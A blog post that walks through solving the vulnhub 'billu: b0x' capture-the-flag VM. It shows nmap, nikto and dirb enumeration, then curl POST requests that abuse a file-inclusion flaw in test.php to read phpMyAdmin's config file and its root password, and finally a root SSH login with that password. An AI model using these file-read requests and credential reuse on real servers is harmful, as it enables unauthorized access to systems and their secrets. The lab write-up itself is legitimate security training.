About Twitter Git 

CTF: billu: b0x

I had a quiet moment last week while the Overwatch servers were undergoing maintenance and figured I’d tackle a capture the flag challenge from vulnhub.com to pass the time. Random selection led me to this one:

As I’m running a libvirt hypervisor I downloaded and converted with the following commands:

$ aria2c "https://download.vulnhub.com/billu/Billu_b0x.zip"
$ unzip Billu_b0x.zip
$ tar -xaf Billu_b0x.ova
$ qemu-img convert Billu_b0x-disk1.vmdk -O qcow2 indishell.qcow2

Setup and booted:

Wiew, Ubuntu 12.04.5. That's old.

Checking the DHCP lease in pfSense I found the box on 192.168.1.21 and onto the enumeration I went:

$ nmap -sC -sV -T4 -v -oA initial 192.168.1.21
Nmap scan report for 192.168.1.21
Host is up (0.000090s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 fa:cf:a2:52:c4:fa:f5:75:a7:e2:bd:60:83:3e:7b:de (DSA)
|   2048 88:31:0c:78:98:80:ef:33:fa:26:22:ed:d0:9b:ba:f8 (RSA)
|_  256 0e:5e:33:03:50:c9:1e:b3:e7:51:39:a4:4a:10:64:ca (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: --==[[IndiShell Lab]]==--
MAC Address: 52:54:00:3C:35:E2 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Noting the web server on port 80, I kicked off a nikto scan to see if I could find some quick wins which turned up something that caught my eye:

Really, I'm just a sucker for nikto's "This might be interesting..." descriptions.

Navigating to the URL, I was pleased to see an error which read a lot like a local file inclusion issue:

Cool.

Back to enumerating the service, I fired up dirb to scan and see if any other issues might be present that I could leverage. The scan revealed the following:

$ dirb http://192.168.1.21/ 
---- Scanning URL: http://192.168.1.21/ ----
+ http://192.168.1.21/add (CODE:200|SIZE:307)
+ http://192.168.1.21/c (CODE:200|SIZE:1)
+ http://192.168.1.21/head (CODE:200|SIZE:2793)
+ http://192.168.1.21/phpmy (CODE:200|SIZE:2793)
==> DIRECTORY: http://192.168.1.21/images/
+ http://192.168.1.21/in (CODE:200|SIZE:47577)
+ http://192.168.1.21/index (CODE:200|SIZE:3267)
+ http://192.168.1.21/index.php (CODE:200|SIZE:3267)
+ http://192.168.1.21/panel (CODE:302|SIZE:2469)
+ http://192.168.1.21/show (CODE:200|SIZE:1)
+ http://192.168.1.21/test (CODE:200|SIZE:72)

What I saw of worth here was the presence of phpmy which meant a config.inc.php file would be somewhere near, usually /etc/phpmyadmin/config.inc.php, unfortunately, this wasn’t the case:

$ curl -X POST -F 'file=/etc/phpmyadmin/config.inc.php' http://192.168.1.21/test.php                                                                                                                       
file not found

I thought it a long shot but I immediately tried again but calling the file from within the phpmyadmin directory. Sure enough, it worked:

$ curl -X POST -F 'file=/var/www/phpmy/config.inc.php' http://192.168.1.21/test.php

<?php

/* Servers configuration */
$i = 0;

/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
$cfg['Servers'][$i]['AllowNoPassword'] = true;

/* End of servers configuration */

$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';

/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';

?>

Well that’s interesting, a root password. ^_^

Mental alarms went off seeing the credentials root:roottoor and thought to myself, imagine that was it, just SSH in with those credentials and the challenge ends. I was less than 10% confident it would work but figured there was no harm in trying. Funnily enough, it did:

$ ssh root@192.168.1.21
root@192.168.1.21's password:
Welcome to Ubuntu 12.04.5 LTS (GNU/Linux 3.13.0-32-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Wed Aug  2 07:53:46 IST 2017

  System load:  0.0               Processes:           73
  Usage of /:   12.1% of 9.61GB   Users logged in:     0
  Memory usage: 17%               IP address for eth0: 192.168.1.21
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

139 packages can be updated.
121 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.


Your Hardware Enablement Stack (HWE) is supported until April 2017.

root@indishell:~#

And that was that.

My distraction lasted barely a quarter of Blizzard's maintenance window...

comments powered by Disqus